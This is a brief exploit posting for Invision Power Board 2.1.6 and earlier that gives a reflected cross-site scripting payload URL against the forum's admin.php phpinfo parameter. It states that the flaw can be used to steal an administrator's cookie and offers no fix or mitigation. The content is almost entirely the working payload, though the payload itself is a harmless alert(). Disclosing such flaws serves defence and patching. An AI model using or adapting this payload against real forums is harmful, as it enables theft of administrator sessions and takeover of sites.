Invision Power Board XSS

*//Product :Invision Power Board
*//Version :2.1.6 and prior versions must be affected.

*//XSS=
http://localhost/forum/admin.php?phpinfo=<script>alert()</script>

*//You can steal only admins cookie.

*//www.spymastersnake.org
*//[email protected]